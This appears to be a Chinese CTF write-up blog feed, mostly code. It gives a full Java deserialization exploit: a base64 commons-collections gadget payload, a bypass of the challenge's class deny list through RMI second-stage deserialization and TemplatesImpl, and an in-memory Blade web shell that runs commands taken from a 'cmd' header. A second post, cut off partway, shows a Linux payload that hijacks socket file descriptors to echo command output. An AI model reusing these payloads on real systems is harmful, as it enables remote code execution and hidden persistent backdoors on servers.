​image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.web;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        String s = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=";
        byte[] decode = Base64.getDecoder().decode(s);
        System.out.println(new String(decode));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

image

可以看到这道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
String[] denyClasses = { "java.net.InetAddress",
        "sun.rmi.transport.tcp.TCPTransport",
        "sun.rmi.transport.tcp.TCPEndpoint",
        "sun.rmi.transport.LiveRef",
        "sun.rmi.server.UnicastServerRef",
        "sun.rmi.server.UnicastRemoteObject",
        "org.apache.commons.collections.map.TransformedMap",
        "org.apache.commons.collections.functors.ChainedTransformer",
        "org.apache.commons.collections.functors.InstantiateTransformer",
        "org.apache.commons.collections.map.LazyMap",
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",
        "org.apache.commons.collections.functors.ConstantTransformer",
        "org.apache.commons.collections.functors.MapTransformer",
        "org.apache.commons.collections.functors.FactoryTransformer",
        "org.apache.commons.collections.functors.InstantiateFactory",
        "org.apache.commons.collections.keyvalue.TiedMapEntry",
        "javax.management.BadAttributeValueExpException",
        "org.apache.commons.collections.map.DefaultedMap",
        "org.apache.commons.collections.bag.TreeBag",
        "org.apache.commons.collections.comparators.TransformingComparator",
        "org.apache.commons.collections.functors.TransformerClosure",
        "java.util.Hashtable",
        "java.util.HashMap",
        "java.net.URL",
        "com.sun.rowset.JdbcRowSetImpl",
        "java.security.SignedObject",
};

我们可以使用rmi二次反序列化

rmi二次反序列化

也就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.n1ght;
  
  
import com.n1ght.javassist.TomcatEcho;
import com.n1ght.sink.SinkTools;
import com.sun.org.apache.bcel.internal.Repository;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantFactory;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.list.LazyList;  
import org.apache.commons.collections.list.TransformedList;  
import org.apache.commons.collections.map.ListOrderedMap;  
import sun.misc.Unsafe;  
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;  
import java.util.*;


public class ccExp {
    public static String getPayload() throws Exception {
        Object templates = SinkTools.getTemplates(Repository.lookupClass(Exp.class).getBytes());
//        Object templates = SinkTools.getTemplates(TomcatEcho.testCalc());
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        ArrayList<Object> list = new ArrayList<>();
        list.add(null);
        List decorate1 = TransformedList.decorate(list, invokerTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
        HashMap<Object, Object> map = new HashMap<>();
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get((Object) null);
        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
        Object o1 = unsafe.allocateInstance(CodeSigner.class);
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
        EventListenerList list2 = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(o1);
        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(list2);
        return Base64.getEncoder().encodeToString(bao.toByteArray());
    }
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        ArrayList<Object> list = new ArrayList<>();  
        list.add(null);  
        List decorate1 = TransformedList.decorate(list, invokerTransformer);
        List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
        HashMap<Object, Object> map = new HashMap<>();  
        ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);  
        Field field = Unsafe.class.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get((Object) null);  
        unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);  
        X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);  
        unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);  
        Object o1 = unsafe.allocateInstance(CodeSigner.class);  
        unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);  
        EventListenerList list2 = new EventListenerList();  
        UndoManager manager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(manager, "edits");  
        vector.add(o1);  
        unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
        FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
        new ObjectOutputStream(fileOutputStream).writeObject(list2);

        new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
    }  
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {  
        Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
    public static Field getField(Class<?> clazz, String fieldName) {  
        Field field = null;  
  
        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        } catch (NoSuchFieldException var4) {  
            if (clazz.getSuperclass() != null) {  
                field = getField(clazz.getSuperclass(), fieldName);  
            }  
        }  
  
        return field;  
    }  
}


ReflectionTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.n1ght;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import sun.reflect.ReflectionFactory;

public class ReflectTools {
    public ReflectTools() {
    }

    public static void setAccessible(AccessibleObject member) throws Exception {
        member.setAccessible(true);
    }

    public static Field getField(Class<?> clazz, String fieldName) {
        Field field = null;

        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        } catch (Exception var4) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }

        return field;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(String name) throws Exception {
        Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static Object newInstance(String className, Object... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T) sc.newInstance(consArgs);
    }

    public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
        HashMap<Object, Object> s = new HashMap();
        setFieldValue(s, "size", 2);

        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException var6) {
            nodeC = Class.forName("java.util.HashMap$EntAry");
        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static Method getDeclaredMethod(Class clazz, String methodName, Class[] params) {
        Method method = null;

        while(clazz != null) {
            try {
                method = clazz.getDeclaredMethod(methodName, params);
                method.setAccessible(true);
                break;
            } catch (NoSuchMethodException var5) {
                clazz = clazz.getSuperclass();
            }
        }

        return method;
    }

    public static Method getMethod(Class clazz, String methodName, Class[] params) {
        Method method = null;

        while(clazz != null) {
            try {
                method = clazz.getMethod(methodName, params);
                break;
            } catch (NoSuchMethodException var5) {
                clazz = clazz.getSuperclass();
            }
        }

        return method;
    }
}

SinkTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class SinkTools {
    public SinkTools() {
    }

    public static Object getTemplates(byte[] byteCode) {
        try {
            Object templates = new TemplatesImpl();
            ReflectTools.setFieldValue(templates, "_name", "n1ght");
            ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
            ReflectTools.setFieldValue(templates, "_tfactory", null);
            ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
            return templates;
        } catch (Exception var2) {
            System.out.println("Error: " + var2);
            return null;
        }
    }
}

但是由于本题不出网

blade内存马

获取Context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
System.out.println("start");
       Class<?> name = Class.forName("sun.misc.Unsafe");
       Field theUnsafe = name.getDeclaredField("theUnsafe");
       theUnsafe.setAccessible(true);
       Unsafe unsafe = (Unsafe) theUnsafe.get(null);
       Thread thread = Thread.currentThread();
       ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
       Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
       getMap.setAccessible(true);
       Object threadLocals = getMap.invoke(objectThreadLocal, thread);
       Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
       Field tablesFiled = threadLocalMap.getDeclaredField("table");
       tablesFiled.setAccessible(true);
       Object table = tablesFiled.get(threadLocals);
       Object o = null;
       for (int i = 0; i < Array.getLength(table); i++) {
           try {
               Object o1 = Array.get(table, i);
               System.out.println(o1.getClass().getName());
               if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
                   o = Array.get(table, i);
               }
           }catch (Exception e) {
           }
       }
       System.out.println(o);
       Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
       Field valueField = entry.getDeclaredField("value");
       valueField.setAccessible(true);
       InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
       WebContext context = null;
       for (int i = 0; i < value.size(); i++) {
           try {
               if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
                   context = (WebContext) value.indexedVariable(i);
                   break;
               }
           }catch (Exception e) {

           }
       }

可以看到RouteMethodHandler的routeHandle逻辑

image

首先要注解为@Path，然后有返回类型，获取的方法

也就是

1
Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));

这样看如何注册route

image

image

可以看到我们将他加入到routeMatcher和staticMapping里面即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ChannelHandlerContext channelHandlerContext = context.getChannelHandlerContext();
      HttpServerHandler handler = (HttpServerHandler) channelHandlerContext.handler();
      RouteMethodHandler routeHandler = (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField("routeHandler")));
      RouteMatcher routeMatcher = (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField("routeMatcher")));
      Path annotation = Exp.class.getAnnotation(Path.class);
      System.out.println("annotations: " + annotation);
      Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));
      route.setTarget(new Exp("aaa"));
      Method addRoute = routeMatcher.getClass().getDeclaredMethod("addRoute", Route.class);
      addRoute.setAccessible(true);
      addRoute.invoke(routeMatcher,route);
      System.out.println(routeHandler);
      StaticMapping staticMapping = routeMatcher.getStaticMapping();
      staticMapping.addRoute("/test",HttpMethod.ALL,route);

这边的new Exp("aaa")​

image

防止陷入回环地址

所以整个的exp是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package com.n1ght;

import com.hellokaton.blade.annotation.Path;
import com.hellokaton.blade.mvc.WebContext;
import com.hellokaton.blade.mvc.http.*;
import com.hellokaton.blade.mvc.route.Route;
import com.hellokaton.blade.mvc.route.RouteMatcher;
import com.hellokaton.blade.mvc.route.mapping.StaticMapping;
import com.hellokaton.blade.server.HttpServerHandler;
import com.hellokaton.blade.server.RouteMethodHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.util.internal.InternalThreadLocalMap;
import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

@Path
public class Exp extends AbstractTranslet {
    public Exp() throws Exception{
        System.out.println("start");
        Class<?> name = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = name.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Thread thread = Thread.currentThread();
        ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
        Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
        getMap.setAccessible(true);
        Object threadLocals = getMap.invoke(objectThreadLocal, thread);
        Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
        Field tablesFiled = threadLocalMap.getDeclaredField("table");
        tablesFiled.setAccessible(true);
        Object table = tablesFiled.get(threadLocals);
        Object o = null;
        for (int i = 0; i < Array.getLength(table); i++) {
            try {
                Object o1 = Array.get(table, i);
                System.out.println(o1.getClass().getName());
                if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
                    o = Array.get(table, i);
                }
            }catch (Exception e) {
            }
        }
        System.out.println(o);
        Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
        Field valueField = entry.getDeclaredField("value");
        valueField.setAccessible(true);
        InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
        WebContext context = null;
        for (int i = 0; i < value.size(); i++) {
            try {
                if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
                    context = (WebContext) value.indexedVariable(i);
                    break;
                }
            }catch (Exception e) {

            }
        }
        ChannelHandlerContext channelHandlerContext = context.getChannelHandlerContext();
        HttpServerHandler handler = (HttpServerHandler) channelHandlerContext.handler();
        RouteMethodHandler routeHandler = (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField("routeHandler")));
        RouteMatcher routeMatcher = (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField("routeMatcher")));
        Path annotation = Exp.class.getAnnotation(Path.class);
        System.out.println("annotations: " + annotation);
        Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));
        route.setTarget(new Exp("aaa"));
        Method addRoute = routeMatcher.getClass().getDeclaredMethod("addRoute", Route.class);
        addRoute.setAccessible(true);
        addRoute.invoke(routeMatcher,route);
        System.out.println(routeHandler);
        StaticMapping staticMapping = routeMatcher.getStaticMapping();
        staticMapping.addRoute("/test",HttpMethod.ALL,route);


    }
    public Exp(String aaa){
        System.out.println("aaa");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public void exp() throws Exception{
        Class<?> name = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = name.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Thread thread = Thread.currentThread();
        ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
        Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
        getMap.setAccessible(true);
        Object threadLocals = getMap.invoke(objectThreadLocal, thread);
        Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
        Field tablesFiled = threadLocalMap.getDeclaredField("table");
        tablesFiled.setAccessible(true);
        Object table = tablesFiled.get(threadLocals);
        Object o = null;
        for (int i = 0; i < Array.getLength(table); i++) {
            try {
                Object o1 = Array.get(table, i);
                if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
                    o = Array.get(table, i);
                }
            }catch (Exception e) {
            }
        }
        System.out.println(o);
        Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
        Field valueField = entry.getDeclaredField("value");
        valueField.setAccessible(true);
        InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
        WebContext context = null;
        for (int i = 0; i < value.size(); i++) {
            try {
                if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
                    context = (WebContext) value.indexedVariable(i);
                    break;
                }
            }catch (Exception e) {

            }
        }
        HttpResponse response = (HttpResponse) context.getResponse();
        Request request = context.getRequest();
        String cmd = request.header("cmd");
        response.body(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
    }


}

‍

]]> <p>这个题目的大部分链子存在博客里面：</p> <p><a href="https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-colle java_linux通用回显马 https://www.n1ght.cn/2025/08/21/java_linux%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E9%A9%AC/ 2025-08-21T06:00:00.000Z 2025-08-21T06:41:43.104Z 在LINUX环境下，可以通过文件描述符”/proc/self/fd/i”获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题。

我们怎么获取到tcp6的连接

获取到/proc/self/net/tcp6的inode

然后查看/proc/self/fd下的所有文件的软链接

获取到inode匹配的最后一个的socket

获取到FileDescriptor的值，封装到SocketChannelImpl里面。

然后写入内容，当然你也可以关闭socket连接让后续不去写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package com.n1ght;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.nio.channels.spi.SelectorProvider;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Exp {
    public Exp() throws Exception {
        List<String> canWriteList = new ArrayList<>();
        List<Integer> inodeList = new ArrayList<>();
        byte[] bytes = Files.readAllBytes(Paths.get("/proc/self/net/tcp6"));
        String tcp6 = new String(bytes);
        for (String line : tcp6.split("\n")) {
            String[] parts = line.trim().split("\\s+");
            if (parts.length >= 13) {
                String inode = parts[9];
                inodeList.add(Integer.parseInt(inode));
            }
        }
        File file = new File("/proc/self/fd");
        File[] files = file.listFiles();
        for (File f : files) {
            if (f.exists()) {
                try {
                    Path path1 = Files.readSymbolicLink(f.toPath());
                    if (f.canWrite()) {
                        Pattern pattern = Pattern.compile("socket:\\[(\\d+)]");
                        Matcher matcher = pattern.matcher(path1.toString());
                        if (matcher.find()) {
                            Integer inode = Integer.parseInt(matcher.group(1));
                            for (Integer integer : inodeList) {
                                if (Objects.equals(integer, inode)) {
                                    String path = f.getAbsolutePath();
                                    canWriteList.add(path.substring(path.indexOf("/fd/")).replaceAll("/fd/", ""));
                                }
                            }
                        }
                    }
                } catch (Exception e) {
                }
            }
        }
        Constructor<FileDescriptor> c = null;
        try {
            // 获取底层的 FileDescriptor
            c = FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
            c.setAccessible(true);
            Integer i = new Integer(canWriteList.get(canWriteList.size() - 1));
            FileDescriptor fileDescriptor = c.newInstance(i);
            Class<?> clazz = Class.forName("sun.nio.ch.SocketChannelImpl");
            Constructor<?> cons = clazz.getDeclaredConstructor(SelectorProvider.class, FileDescriptor.class, boolean.class);
            cons.setAccessible(true);

            SelectorProvider provider = SelectorProvider.provider();
            SocketChannel sc = (SocketChannel) cons.newInstance(provider, fileDescriptor, false);
            Field connectedField = sc.getClass().getDeclaredField("state");
            connectedField.setAccessible(true);
            connectedField.set(sc, 2);
            String ret =  file.getCanonicalPath()
                    + "/" + canWriteList.get(canWriteList.size() - 1) + ": " +
                    new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
//            String ret =  new Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next() + "\n";
            String header = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-length:"+ret.length()+"\r\n\r\n"+ret;
